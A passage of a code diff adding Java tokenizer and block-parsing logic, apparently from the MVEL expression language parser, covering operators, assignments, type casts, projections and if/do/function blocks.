+                                    continue;
+                                }
+                                else {
+                                    if ((idx = pCtx.variableIndexOf(name = new String(subArray(start, end)))) != -1) {
+                                        return lastNode = new IndexedDeclTypedVarNode(idx, Object.class);
+                                    }
+                                    else {
+                                        return lastNode = new DeclTypedVarNode(name, Object.class, fields);
+                                    }
+                                }
+                        }
+                    }
+
+                    skipWhitespace();
+
+                    /**
+                     * If we *were* capturing a token, and we just hit a non-identifier
+                     * character, we stop and figure out what to do.
+                     */
+                    if (cursor != length && expr[cursor] == '(') {
+                        cursor = balancedCapture(expr, cursor, '(') + 1;
+                    }
+
+                    /**
+                     * If we encounter any of the following cases, we are still dealing with
+                     * a contiguous token.
+                     */
+                    if (cursor != length) {
+                        switch (expr[cursor]) {
+                            case '?':
+                                if (lookToLast() == '.') {
+                                    capture = true;
+                                    cursor++;
+                                    continue;
+                                }
+                            case '+':
+                                switch (lookAhead()) {
+                                    case '+':
+                                        if ((idx = pCtx.variableIndexOf(name = new String(subArray(start, trimLeft(cursor))))) != -1) {
+                                            lastNode = new IndexedPostFixIncNode(idx);
+                                        }
+                                        else {
+                                            lastNode = new PostFixIncNode(name);
+                                        }
+
+                                        cursor += 2;
+
+                                        expectEOS();
+
+                                        return lastNode;
+
+                                    case '=':
+                                        name = createStringTrimmed(expr, start, cursor - start);
+                                        start = cursor += 2;
+
+                                        captureToEOS();
+
+                                        if (union) {
+                                            return lastNode = new DeepAssignmentNode(subArray(start, cursor), fields, ADD, t);
+                                        }
+                                        else if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                            return lastNode = new IndexedAssignmentNode(subArray(start, cursor), fields, ADD, name, idx);
+                                        }
+                                        else {
+                                            return lastNode = new AssignmentNode(subArray(start, cursor), fields, ADD, name);
+                                        }
+                                }
+
+                                if (isDigit(lookAhead()) &&
+                                        cursor > 1 && (expr[cursor - 1] == 'E' || expr[cursor - 1] == 'e')
+                                        && isDigit(expr[cursor - 2])) {
+                                    cursor++;
+                                    capture = true;
+                                    continue;
+
+                                }
+                                break;
+
+                            case '-':
+                                switch (lookAhead()) {
+                                    case '-':
+                                        if ((idx = pCtx.variableIndexOf(name = new String(subArray(start, trimLeft(cursor))))) != -1) {
+                                            lastNode = new IndexedPostFixDecNode(idx);
+                                        }
+                                        else {
+                                            lastNode = new PostFixDecNode(name);
+                                        }
+                                        cursor += 2;
+
+                                        expectEOS();
+
+                                        return lastNode;
+
+                                    case '=':
+                                        name = new String(expr, start, trimLeft(cursor) - start);
+                                        start = cursor += 2;
+
+                                        captureToEOS();
+
+                                        if (union) {
+                                            return lastNode = new DeepAssignmentNode(subArray(start, cursor), fields, SUB, t);
+                                        }
+                                        else if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                            return lastNode = new IndexedOperativeAssign(subArray(start, cursor), Operator.SUB, idx, fields);
+                                        }
+                                        else {
+                                            return lastNode = new OperativeAssign(name, subArray(start, cursor), Operator.SUB, fields);
+                                        }
+                                }
+
+                                if (isDigit(lookAhead()) &&
+                                        cursor > 1 && (expr[cursor - 1] == 'E' || expr[cursor - 1] == 'e')
+                                        && isDigit(expr[cursor - 2])) {
+                                    cursor++;
+                                    capture = true;
+                                    continue;
+
+                                }
+
+                                break;
+
+
+                            case '\u00AB': // special compact code for recursive parses
+                            case '\u00BB':
+                            case '\u00AC':
+                            case '&':
+                            case '^':
+                            case '|':
+                            case '*':
+                            case '/':
+                            case '%':
+                                char op = expr[cursor];
+                                if (lookAhead() == '=') {
+                                    name = new String(expr, start, trimLeft(cursor) - start);
+
+                                    start = cursor += 2;
+                                    captureToEOS();
+
+                                    if (union) {
+                                        return lastNode = new DeepAssignmentNode(subArray(start, cursor), fields, _bwOpLookup(op), t);
+                                    }
+                                    else if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                        return lastNode = new IndexedOperativeAssign(subArray(start, cursor), _bwOpLookup(op), idx, fields);
+                                    }
+                                    else {
+                                        return lastNode = new OperativeAssign(name, subArray(start, cursor), _bwOpLookup(op), fields);
+                                    }
+                                }
+
+
+                            case '<':
+                                if ((lookAhead() == '<' && lookAhead(2) == '=')) {
+                                    name = new String(expr, start, trimLeft(cursor) - start);
+
+                                    start = cursor += 3;
+                                    captureToEOS();
+
+                                    if (union) {
+                                        return lastNode = new DeepAssignmentNode(subArray(start, cursor), fields, BW_SHIFT_LEFT, t);
+                                    }
+                                    else if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                        return lastNode = new IndexedOperativeAssign(subArray(start, cursor), BW_SHIFT_LEFT, idx, fields);
+                                    }
+                                    else {
+                                        return lastNode = new OperativeAssign(name, subArray(start, cursor), BW_SHIFT_LEFT, fields);
+                                    }
+                                }
+                                break;
+
+
+                            case '>':
+                                if (lookAhead() == '>') {
+                                    if (lookAhead(2) == '=') {
+                                        name = new String(expr, start, trimLeft(cursor) - start);
+
+                                        start = cursor += 3;
+                                        captureToEOS();
+
+                                        if (union) {
+                                            return lastNode = new DeepAssignmentNode(subArray(start, cursor), fields, BW_SHIFT_RIGHT, t);
+                                        }
+                                        else if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                            return lastNode = new IndexedOperativeAssign(subArray(start, cursor), BW_SHIFT_RIGHT, idx, fields);
+                                        }
+                                        else {
+                                            return lastNode = new OperativeAssign(name, subArray(start, cursor), BW_SHIFT_RIGHT, fields);
+                                        }
+                                    }
+                                    else if ((lookAhead(2) == '>' && lookAhead(3) == '=')) {
+                                        name = new String(expr, start, trimLeft(cursor) - start);
+
+                                        start = cursor += 4;
+                                        captureToEOS();
+
+                                        if (union) {
+                                            return lastNode = new DeepAssignmentNode(subArray(start, cursor), fields, BW_USHIFT_RIGHT, t);
+                                        }
+                                        else if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                            return lastNode = new IndexedOperativeAssign(subArray(start, cursor), BW_USHIFT_RIGHT, idx, fields);
+                                        }
+                                        else {
+                                            return lastNode = new OperativeAssign(name, subArray(start, cursor), BW_USHIFT_RIGHT, fields);
+                                        }
+                                    }
+                                }
+                                break;
+
+                            case ']':
+                            case '[':
+                                cursor = balancedCapture(expr, cursor, '[') + 1;
+                                continue;
+                            case '.':
+                                union = true;
+                                cursor++;
+                                skipWhitespaceWithLineAccounting();
+                                continue;
+
+                            case '{':
+                                if (!union) break;
+                                cursor = balancedCapture(expr, cursor, '{') + 1;
+                                continue;
+
+
+                            case '~':
+                                if (lookAhead() == '=') {
+                                    tmp = subArray(start, trimLeft(cursor));
+
+                                    start = cursor += 2;
+
+                                    if (!isNextIdentifierOrLiteral()) {
+                                        throw new CompileException("unexpected symbol '" + expr[cursor] + "'", expr, cursor);
+                                    }
+
+                                    captureToEOT();
+
+                                    return lastNode = new RegExMatch(tmp, fields, subArray(start, cursor));
+                                }
+                                break;
+
+                            case '=':
+                                if (lookAhead() == '+') {
+                                    name = new String(expr, start, trimLeft(cursor) - start);
+
+                                    start = cursor += 2;
+
+                                    if (!isNextIdentifierOrLiteral()) {
+                                        throw new CompileException("unexpected symbol '" + expr[cursor] + "'", expr, cursor);
+                                    }
+
+                                    captureToEOS();
+
+                                    if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                        return lastNode = new IndexedOperativeAssign(subArray(start, cursor), ADD, idx, fields);
+                                    }
+                                    else {
+                                        return lastNode = new OperativeAssign(name, subArray(start, cursor), ADD, fields);
+                                    }
+                                }
+                                else if (lookAhead() == '-') {
+                                    name = new String(expr, start, trimLeft(cursor) - start);
+
+                                    start = cursor += 2;
+
+                                    if (!isNextIdentifierOrLiteral()) {
+                                        throw new CompileException("unexpected symbol '" + expr[cursor] + "'", expr, cursor);
+                                    }
+
+                                    captureToEOS();
+
+                                    if ((idx = pCtx.variableIndexOf(name)) != -1) {
+                                        return lastNode = new IndexedOperativeAssign(subArray(start, cursor), SUB, idx, fields);
+                                    }
+                                    else {
+                                        return lastNode = new OperativeAssign(name, subArray(start, cursor), SUB, fields);
+                                    }
+                                }
+
+                                if (greedy && lookAhead() != '=') {
+                                    cursor++;
+
+                                    captureToEOS();
+
+                                    if (union) {
+                                        return lastNode = new DeepAssignmentNode(subArray(start, cursor), fields | ASTNode.ASSIGN);
+                                    }
+                                    else if (lastWasIdentifier) {
+                                        /**
+                                         * Check for typing information.
+                                         */
+                                        if (lastNode.getLiteralValue() instanceof String) {
+                                            TypeDescriptor tDescr = new TypeDescriptor(((String) lastNode.getLiteralValue()).toCharArray(), 0);
+
+                                            try {
+                                                lastNode.setLiteralValue(getClassReference(pCtx, tDescr));
+                                                lastNode.discard();
+                                            }
+                                            catch (Exception e) {
+                                                // fall through;
+                                            }
+                                        }
+
+                                        if (lastNode.isLiteral() && lastNode.getLiteralValue() instanceof Class) {
+                                            lastNode.discard();
+
+                                            captureToEOS();
+                                            return new TypedVarNode(subArray(start, cursor), fields | ASTNode.ASSIGN, (Class)
+                                                    lastNode.getLiteralValue());
+                                        }
+
+                                        throw new CompileException("unknown class or illegal statement: " + lastNode.getLiteralValue(), expr, cursor);
+                                    }
+                                    else if (pCtx != null
+                                            && ((idx = pCtx.variableIndexOf(t)) != -1
+                                            || (pCtx.isIndexAllocation()))) {
+
+                                        IndexedAssignmentNode ian = new IndexedAssignmentNode(subArray(start, cursor), ASTNode.ASSIGN, idx);
+
+                                        if (idx == -1) {
+                                            pCtx.addIndexedVariable(t = ian.getAssignmentVar());
+                                            ian.setRegister(idx = pCtx.variableIndexOf(t));
+                                        }
+                                        return lastNode = ian;
+                                    }
+                                    else {
+                                        return lastNode = new AssignmentNode(subArray(start, cursor), fields | ASTNode.ASSIGN);
+                                    }
+                                }
+                        }
+                    }
+
+                    /**
+                     * Produce the token.
+                     */
+                    trimWhitespace();
+
+                    return createPropertyToken(start, cursor);
+                }
+                else {
+                    switch (expr[cursor]) {
+                        case '.': {
+                            cursor++;
+                            if (isDigit(expr[cursor])) {
+                                capture = true;
+                                continue;
+                            }
+                            expectNextChar_IW('{');
+
+                            tmp = subArray(start, cursor - 1);
+                            cursor = balancedCapture(expr, start = cursor, '{') + 1;
+
+                            return lastNode = new ThisWithNode(tmp, subArray(start + 1, cursor - 1), fields);
+                        }
+
+                        case '@': {
+                            start++;
+                            captureToEOT();
+
+                            if (pCtx.getInterceptors() == null || !pCtx.getInterceptors().
+                                    containsKey(name = new String(expr, start, cursor - start))) {
+                                throw new CompileException("reference to undefined interceptor: " + new String(expr, start, cursor - start), expr, cursor);
+                            }
+
+                            return lastNode = new InterceptorWrapper(pCtx.getInterceptors().get(name), nextToken());
+                        }
+
+                        case '=':
+                            return createOperator(expr, start, (cursor += 2));
+
+                        case '-':
+                            if (lookAhead() == '-') {
+                                cursor += 2;
+                                skipWhitespace();
+                                start = cursor;
+                                captureIdentifier();
+
+                                if ((idx = pCtx.variableIndexOf(name = new String(subArray(start, cursor)))) != -1) {
+                                    return lastNode = new IndexedPreFixDecNode(idx);
+                                }
+                                else {
+                                    return lastNode = new PreFixDecNode(name);
+                                }
+                            }
+                            else if ((cursor != 0 && !isWhitespace(lookBehind())) || !isDigit(lookAhead())) {
+                                return createOperator(expr, start, cursor++ + 1);
+                            }
+                            else if ((cursor - 1) != 0 || (!isDigit(lookBehind())) && isDigit(lookAhead())) {
+                                cursor++;
+                                break;
+                            }
+
+                        case '+':
+                            if (lookAhead() == '+') {
+                                cursor += 2;
+                                skipWhitespace();
+                                start = cursor;
+                                captureIdentifier();
+
+                                if ((idx = pCtx.variableIndexOf(name = new String(subArray(start, cursor)))) != -1) {
+                                    return lastNode = new IndexedPreFixIncNode(idx);
+                                }
+                                else {
+                                    return lastNode = new PreFixIncNode(name);
+                                }
+                            }
+                            return createOperator(expr, start, cursor++ + 1);
+
+                        case '*':
+                            if (lookAhead() == '*') {
+                                cursor++;
+                            }
+                            return createOperator(expr, start, cursor++ + 1);
+
+                        case ';':
+                            cursor++;
+                            lastWasIdentifier = false;
+                            return lastNode = new EndOfStatement();
+
+                        case '#':
+                        case '/':
+                            switch (skipCommentBlock()) {
+                                case OP_TERMINATE:
+                                    return null;
+                                case OP_RESET_FRAME:
+                                    continue;
+                            }
+
+                        case '?':
+                        case ':':
+                        case '^':
+                        case '%': {
+                            return createOperator(expr, start, cursor++ + 1);
+                        }
+
+                        case '(': {
+                            cursor++;
+
+                            boolean singleToken = true;
+                            boolean lastWS = false;
+
+                            skipWhitespace();
+                            for (brace = 1; cursor != length && brace != 0; cursor++) {
+                                switch (expr[cursor]) {
+                                    case '(':
+                                        brace++;
+                                        break;
+                                    case ')':
+                                        brace--;
+                                        break;
+                                    case '\'':
+                                        cursor = captureStringLiteral('\'', expr, cursor, length);
+                                        break;
+                                    case '"':
+                                        cursor = captureStringLiteral('"', expr, cursor, length);
+                                        break;
+                                    case 'i':
+                                        if (lookAhead() == 'n' && isWhitespace(lookAhead(2))) {
+
+                                            for (int level = brace; cursor != length; cursor++) {
+                                                switch (expr[cursor]) {
+                                                    case '(':
+                                                        brace++;
+                                                        break;
+                                                    case ')':
+                                                        if (--brace < level) {
+                                                            cursor++;
+                                                            if (tokenContinues()) {
+                                                                lastNode = new Fold(subset(expr, trimRight(start + 1), cursor - start - 2), fields);
+                                                                start = cursor;
+                                                                if (expr[start] == '.') start++;
+                                                                captureToEOT();
+                                                                return lastNode = new Union(expr, trimRight(start), cursor, fields, lastNode);
+                                                            }
+                                                            else {
+                                                                return lastNode = new Fold(subset(expr, trimRight(start + 1), cursor - start - 2), fields);
+                                                            }
+
+                                                        }
+                                                        break;
+                                                    case '\'':
+                                                        cursor = captureStringLiteral('\'', expr, cursor, length);
+                                                        break;
+                                                    case '"':
+                                                        cursor = captureStringLiteral('\"', expr, cursor, length);
+                                                        break;
+                                                }
+                                            }
+
+                                            throw new CompileException("unterminated projection; closing parathesis required", expr, cursor);
+                                        }
+                                        break;
+
+                                    default:
+                                        /**
+                                         * Check to see if we should disqualify this current token as a potential
+                                         * type-cast candidate.
+                                         */
+
+                                        if (lastWS && expr[cursor] != '.') {
+                                            switch (expr[cursor]) {
+                                                case '[':
+                                                case ']':
+                                                    break;
+
+                                                default:
+                                                    if (!(isIdentifierPart(expr[cursor]) || expr[cursor] == '.')) {
+                                                        singleToken = false;
+                                                    }
+                                            }
+                                        }
+                                        else if (isWhitespace(expr[cursor])) {
+                                            lastWS = true;
+                                            skipWhitespace();
+                                            cursor--;
+                                        }
+                                }
+                            }
+
+                            if (brace != 0) {
+                                throw new CompileException("unbalanced braces in expression: (" + brace + "):", expr, cursor);
+                            }
+
+                            //todo: support typecast to array types
+                            tmp = null;
+                            if (singleToken) {
+                                int st;
+                                TypeDescriptor tDescr = new TypeDescriptor(tmp = subset(expr, st = trimRight(start + 1), trimLeft(cursor - 1) - st), fields);
+
+                                Class cls;
+                                if (tDescr.getClassName() != null) {
+                                    try {
+                                        cls = getClassReference(pCtx, tDescr);
+
+                                        start = cursor;
+                                        captureToEOS();
+
+                                        return lastNode = new TypeCast(subset(expr, start, cursor - start), cls, fields);
+                                    }
+                                    catch (Exception e) {
+                                        // fallthrough
+                                    }
+                                }
+                            }
+
+                            if (tmp != null) {
+                                return handleUnion(handleSubstatement(new Substatement(tmp, fields)));
+                            }
+                            else {
+                                return handleUnion(handleSubstatement(new Substatement(subset(expr, start = trimRight(start + 1), trimLeft(cursor - 1) - start), fields)));
+                            }
+                        }
+
+                        case '}':
+                        case ']':
+                        case ')': {
+                            throw new CompileException("unbalanced braces", expr, cursor);
+                        }
+
+                        case '>': {
+                            if (expr[cursor + 1] == '>') {
+                                if (expr[cursor += 2] == '>') cursor++;
+                                return createOperator(expr, start, cursor);
+                            }
+                            else if (expr[cursor + 1] == '=') {
+                                return createOperator(expr, start, cursor += 2);
+                            }
+                            else {
+                                return createOperator(expr, start, ++cursor);
+                            }
+                        }
+
+                        case '<': {
+                            if (expr[++cursor] == '<') {
+                                if (expr[++cursor] == '<') cursor++;
+                                return createOperator(expr, start, cursor);
+                            }
+                            else if (expr[cursor] == '=') {
+                                return createOperator(expr, start, ++cursor);
+                            }
+                            else {
+                                return createOperator(expr, start, cursor);
+                            }
+                        }
+
+                        case '\'':
+                        case '"':
+                            lastNode = new LiteralNode(handleStringEscapes(subset(expr, start + 1,
+                                    (cursor = captureStringLiteral(expr[cursor], expr, cursor, length)) - start - 1))
+                                    , String.class);
+
+                            cursor++;
+
+                            if (tokenContinues()) {
+                                return lastNode = handleUnion(lastNode);
+                            }
+
+                            return lastNode;
+
+                        case '&': {
+                            if (expr[cursor++ + 1] == '&') {
+                                return createOperator(expr, start, ++cursor);
+                            }
+                            else {
+                                return createOperator(expr, start, cursor);
+                            }
+                        }
+
+                        case '|': {
+                            if (expr[cursor++ + 1] == '|') {
+                                return new OperatorNode(OPERATORS.get(new String(expr, start, ++cursor - start)));
+                            }
+                            else {
+                                return createOperator(expr, start, cursor);
+                            }
+                        }
+
+                        case '~':
+                            if ((cursor++ - 1 != 0 || !isIdentifierPart(lookBehind()))
+                                    && isDigit(expr[cursor])) {
+                                start = cursor;
+                                captureToEOT();
+                                return lastNode = new Invert(subset(expr, start, cursor - start), fields);
+                            }
+                            else if (expr[cursor] == '(') {
+                                start = cursor--;
+                                captureToEOT();
+                                return lastNode = new Invert(subset(expr, start, cursor - start), fields);
+                            }
+                            else {
+                                if (expr[cursor] == '=') cursor++;
+                                return createOperator(expr, start, cursor);
+                            }
+
+                        case '!': {
+                            ++cursor;
+                            if (isNextIdentifier()) {
+                                if (lastNode != null && !lastNode.isOperator()) {
+                                    throw new CompileException("unexpected operator '!'", expr, cursor);
+                                }
+
+                                start = cursor;
+                                captureToEOT();
+                                if ("new".equals(name = new String(expr, start, cursor - start))
+                                        || "isdef".equals(name)) {
+                                    captureToEOT();
+                                    return lastNode = new Negation(subset(expr, start, cursor - start), fields);
+                                }
+                                else {
+                                    return lastNode = new Negation(name.toCharArray(), fields);
+                                }
+                            }
+                            else if (expr[cursor] == '(') {
+                                start = cursor--;
+                                captureToEOT();
+                                return lastNode = new Negation(subset(expr, start, cursor - start), fields);
+                            }
+                            else if (expr[cursor] != '=')
+                                throw new CompileException("unexpected operator '!'", expr, cursor, null);
+                            else {
+                                return createOperator(expr, start, ++cursor);
+                            }
+                        }
+
+                        case '[':
+                        case '{':
+                            cursor = balancedCapture(expr, cursor, expr[cursor]) + 1;
+                            if (tokenContinues()) {
+                                lastNode = new InlineCollectionNode(expr, start, start = cursor, fields);
+                                captureToEOT();
+                                if (expr[start] == '.') start++;
+                                return lastNode = new Union(expr, start, cursor, fields, lastNode);
+                            }
+                            else {
+                                return lastNode = new InlineCollectionNode(expr, start, cursor, fields);
+                            }
+
+                        default:
+                            cursor++;
+                    }
+                }
+            }
+
+            if (start == cursor) return null;
+            return createPropertyToken(start, cursor);
+        }
+        catch (NumberFormatException e) {
+            CompileException c = new CompileException("badly formatted number: " + e.getMessage(), expr, cursor, e);
+            c.setLineNumber(line);
+            c.setColumn(cursor - lastLineStart);
+            throw c;
+        }
+        catch (StringIndexOutOfBoundsException e) {
+            CompileException c = new CompileException("unexpected end of statement", expr, cursor, e);
+            c.setLineNumber(line);
+            c.setColumn(cursor - lastLineStart);
+            throw c;
+        }
+        catch (ArrayIndexOutOfBoundsException e) {
+            CompileException c = new CompileException("unexpected end of statement", expr, cursor, e);
+            c.setLineNumber(line);
+            c.setColumn(cursor - lastLineStart);
+            throw c;
+        }
+        catch (CompileException e) {
+            e.setExpr(expr);
+            e.setLineNumber(line);
+            e.setColumn(cursor - lastLineStart);
+            throw e;
+        }
+    }
+
+    public ASTNode handleSubstatement(Substatement stmt) {
+        if (stmt.getStatement() != null && stmt.getStatement().isLiteralOnly()) {
+            return new LiteralNode(stmt.getStatement().getValue(null, null, null));
+        }
+        else {
+            return stmt;
+        }
+    }
+
+    protected ASTNode handleUnion(ASTNode node) {
+        if (cursor != length) {
+            skipWhitespace();
+            if (expr[cursor] == '.') {
+                int union = cursor + 1;
+                captureToEOT();
+                return lastNode = new Union(expr, union, cursor, fields, node);
+            }
+        }
+        return lastNode = node;
+    }
+
+    private ASTNode createOperator(final char[] expr, final int start, final int end) {
+        lastWasIdentifier = false;
+        return lastNode = new OperatorNode(OPERATORS.get(new String(expr, start, end - start)));
+    }
+
+    private char[] subArray(final int start, final int end) {
+        if (start >= end) return new char[0];
+
+        char[] newA = new char[end - start];
+        for (int i = 0; i != newA.length; i++) {
+            newA[i] = expr[i + start];
+        }
+
+        return newA;
+    }
+
+    //todo: improve performance of this method
+    private ASTNode createPropertyToken(int start, int end) {
+        lastWasIdentifier = true;
+        String tmp;
+        if (parserContext != null && parserContext.get() != null && parserContext.get().hasImports()) {
+            char[] _subset = subset(expr, start, cursor - start);
+            int offset;
+
+            if ((offset = findFirst('.', _subset)) != -1) {
+                String iStr = new String(_subset, 0, offset);
+                if (pCtx.hasImport(iStr)) {
+                    return lastNode = new LiteralDeepPropertyNode(subset(_subset, offset + 1, _subset.length - offset - 1),
+                            fields, pCtx.getImport(iStr));
+                }
+            }
+            else {
+                if (pCtx.hasImport(tmp = new String(_subset))) {
+                    Object i = pCtx.getStaticOrClassImport(tmp);
+
+                    if (i instanceof Class) {
+                        return lastNode = new LiteralNode(i, Class.class);
+                    }
+                }
+
+                lastWasIdentifier = true;
+            }
+        }
+
+        if ((fields & ASTNode.METHOD) != 0) {
+            return lastNode = new ASTNode(expr, start, end, fields);
+        }
+        else if (LITERALS.containsKey(tmp = new String(expr, start, end - start))) {
+            return lastNode = new LiteralNode(LITERALS.get(tmp));
+        }
+        else if (OPERATORS.containsKey(tmp)) {
+            return lastNode = new OperatorNode(OPERATORS.get(tmp));
+        }
+
+        return lastNode = new ASTNode(expr, start, end, fields);
+    }
+
+    private ASTNode createBlockToken(final int condStart,
+                                     final int condEnd, final int blockStart, final int blockEnd, int type) {
+        lastWasIdentifier = false;
+        cursor++;
+
+        if (isStatementNotManuallyTerminated()) {
+            splitAccumulator.add(new EndOfStatement());
+        }
+
+        switch (type) {
+            case ASTNode.BLOCK_IF:
+                return new IfNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd), fields);
+            case ASTNode.BLOCK_FOR:
+                for (int i = condStart; i < condEnd; i++) {
+                    if (expr[i] == ';')
+                        return new ForNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd), fields);
+                    else if (expr[i] == ':')
+                        break;
+                }
+
+            case ASTNode.BLOCK_FOREACH:
+                return new ForEachNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd), fields);
+            case ASTNode.BLOCK_WHILE:
+                return new WhileNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd), fields);
+            case ASTNode.BLOCK_UNTIL:
+                return new UntilNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd), fields);
+            case ASTNode.BLOCK_DO:
+                return new DoNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd), fields);
+            case ASTNode.BLOCK_DO_UNTIL:
+                return new DoUntilNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd));
+            default:
+                return new WithNode(subArray(condStart, condEnd), subArray(blockStart, blockEnd), fields);
+        }
+    }
+
+    private ASTNode captureCodeBlock(int type) {
+        boolean cond = true;
+
+        ASTNode first = null;
+        ASTNode tk = null;
+
+        switch (type) {
+            case ASTNode.BLOCK_IF: {
+                do {
+                    if (tk != null) {
+                        captureToNextTokenJunction();
+                        skipWhitespace();
+                        cond = expr[cursor] != '{' && expr[cursor] == 'i' && expr[++cursor] == 'f'
+                                && (isWhitespace(expr[++cursor]) || expr[cursor] == '(');
+                    }
+
+                    if (((IfNode) (tk = _captureBlock(tk, expr, cond, type))).getElseBlock() != null) {
+                        cursor++;
+                        return first;
+                    }
+
+                    if (first == null) first = tk;
+
+                    if (cursor != length && expr[cursor] != ';') {
+                        cursor++;
+                    }
+                }
+                while (ifThenElseBlockContinues());
+
+                return first;
+            }
+
+            case ASTNode.BLOCK_DO:
+                skipWhitespaceWithLineAccounting();
+                return _captureBlock(null, expr, false, type);
+
+            default: // either BLOCK_WITH or BLOCK_FOREACH
+                captureToNextTokenJunction();
+                skipWhitespaceWithLineAccounting();
+                return _captureBlock(null, expr, true, type);
+        }
+    }
+
+    private ASTNode _captureBlock(ASTNode node, final char[] expr, boolean cond, int type) {
+        skipWhitespace();
+        int startCond = 0;
+        int endCond = 0;
+
+        int blockStart;
+        int blockEnd;
+
+        String name;
+
+        /**
+         * Functions are a special case we handle differently from the rest of block parsing
+         */
+        if (type == FUNCTION) {
+            int start = cursor;
+
+            captureToNextTokenJunction();
+
+            if (cursor == length) {
+                throw new CompileException("unexpected end of statement", expr, start);
+            }
+
+            /**
+             * Check to see if the name is legal.
+             */
+            if (isReservedWord(name = createStringTrimmed(expr, start, (startCond = cursor) - start))
+                    || isNotValidNameorLabel(name))
+                throw new CompileException("illegal function name or use of reserved word", expr, cursor);
+
+            if (expr[cursor] == '(') {
+                /**
+                 * If we discover an opening bracket after the function name, we check to see
+                 * if this function accepts parameters.
+                 */
+
+                endCond = cursor = balancedCapture(expr, startCond = cursor, '(');
+                startCond++;
+                cursor++;
+
+                skipWhitespace();
+
+                if (cursor >= length) {
+                    throw new CompileException("incomplete statement", expr, cursor);
+                }
+                else if (expr[cursor] == '{') {
+                    blockEnd = cursor = balancedCapture(expr, blockStart = cursor, '{');
+                }
+                else {
+                    blockStart = cursor - 1;
+                    captureToEOS();
+                    blockEnd = cursor;
+                }
+            }
+            else {
+                /**
+                 * This function has not parameters.
+                 */
+                if (expr[cursor] == '{') {
+                    /**
+                     * This function is bracketed.  We capture the entire range in the brackets.
+                     */
+                    blockEnd = cursor = balancedCapture(expr, blockStart = cursor, '{');
+                }
+                else {
+                    /**
+                     * This is a single statement function declaration.  We only capture the statement.
+                     */
+                    blockStart = cursor - 1;
+                    captureToEOS();
+                    blockEnd = cursor;
+                }
+            }
+
+            /**
+             * Trim any whitespace from the captured block range.
+             */
+            blockStart = trimRight(blockStart + 1);
+            blockEnd = trimLeft(blockEnd);
+
+            cursor++;
+
+            /**
+             * Check if the function is manually terminated.
+             */
+            if (isStatementNotManuallyTerminated()) {
+                /**
+                 * Add an EndOfStatement to the split accumulator in the parser.
+                 */
+                splitAccumulator.add(new EndOfStatement());
+            }
+
+            /**
+             * Produce the funciton node.
+             */
+            return new Function(name, subArray(startCond, endCond), subArray(blockStart, blockEnd));
+        }
+        else if (cond) {
+            if (expr[cursor] != '(') {
+                throw new CompileException("expected '(' but encountered: " + expr[cursor]);
+            }
+
+            /**
+             * This block is an: IF, FOREACH or WHILE node.
+             */
+            int[] cap = balancedCaptureWithLineAccounting(expr, startCond = cursor, '(');
+
+            endCond = cursor = cap[0];
+
+            startCond++;
+            cursor++;
+
+            pCtx.incrementLineCount(cap[1]);
+        }
+
+        skipWhitespace();
+
+        if (cursor >= length) {
+            throw new CompileException("unbalanced braces", expr, cursor);
+        }
+        else if (expr[cursor] == '{') {
+            int[] cap = balancedCaptureWithLineAccounting(expr, blockStart = cursor, '{');
+            blockEnd = cursor = cap[0];
+            pCtx.incrementLineCount(cap[1]);
+        }
+        else {
+            blockStart = cursor - 1;
+            captureToEOSorEOL();
+            blockEnd = cursor + 1;
+        }
+
+        if (type == ASTNode.BLOCK_IF) {
+            IfNode ifNode = (IfNode) node;
+
+            if (node != null) {
+                if (!cond) {
+                    return ifNode.setElseBlock(subArray(trimRight(blockStart + 1), trimLeft(blockEnd - 1)));
+                }
+                else {
+                    return ifNode.setElseIf((IfNode) createBlockToken(startCond, endCond, trimRight(blockStart + 1),
+                            trimLeft(blockEnd), type));
+                }
+            }
+            else {
+                return createBlockToken(startCond, endCond, blockStart + 1, blockEnd, type);
+            }
+        }
+        else if (type == ASTNode.BLOCK_DO) {
+            cursor++;
+            skipWhitespaceWithLineAccounting();
+            start = cursor;
+            captureToNextTokenJunction();
+
+            if ("while".equals(name = new String(expr, start, cursor - start))) {
+                skipWhitespaceWithLineAccounting();
+                startCond = cursor + 1;
+                int[] cap = balancedCaptureWithLineAccounting(expr, cursor, '(');
+                endCond = cursor = cap[0];
+                pCtx.incrementLineCount(cap[1]);
+                return createBlockToken(startCond, endCond, trimRight(blockStart + 1), trimLeft(blockEnd), type);
+            }
+            else if ("until".equals(name)) {
+                skipWhitespaceWithLineAccounting();
+                startCond = cursor + 1;
+                int[] cap = balancedCaptureWithLineAccounting(expr, cursor, '(');
+                endCond = cursor = cap[0];
+                pCtx.incrementLineCount(cap[1]);
+                return createBlockToken(startCond, endCond, trimRight(blockStart + 1), trimLeft(blockEnd), ASTNode.BLOCK_DO_UNTIL);
+            }
+            else {
+                throw new CompileException("expected 'while' or 'until' but encountered: " + name, expr, cursor);
+            }
+        }
+        // DON"T REMOVE THIS COMMENT!
+        // else if (isFlag(ASTNode.BLOCK_FOREACH) || isFlag(ASTNode.BLOCK_WITH)) {
+        else {
+            return createBlockToken(startCond, endCond, trimRight(blockStart + 1), trimLeft(blockEnd), type);
+        }
+    }
+
+
+    /**
+     * Checking from the current cursor position, check to see if the if-then-else block continues.
+     *
+     * @return boolean value
+     */
+    protected boolean ifThenElseBlockContinues() {
+        if ((cursor + 4) < length) {
+            if (expr[cursor] != ';') cursor--;
+            skipWhitespaceWithLineAccounting();
+            skipCommentBlock();
+
+            return expr[cursor] == 'e' && expr[cursor + 1] == 'l' && expr[cursor + 2] == 's' && expr[cursor + 3] == 'e'
+                    && (isWhitespace(expr[cursor + 4]) || expr[cursor + 4] == '{');
+        }
+        return false;
+    }
+
+    protected int skipCommentBlock() {
+        if (lookAhead() == expr[cursor]) {
+            /**
+             * Handle single line comments.
+             */
+            captureToEOL();
+
+            line = pCtx.getLineCount();
+
+            skipWhitespaceWithLineAccounting();
+
+            if (lastNode instanceof LineLabel) {
+                pCtx.getLastLineLabel().setLineNumber(line);
+                pCtx.addKnownLine(line);
+            }
+
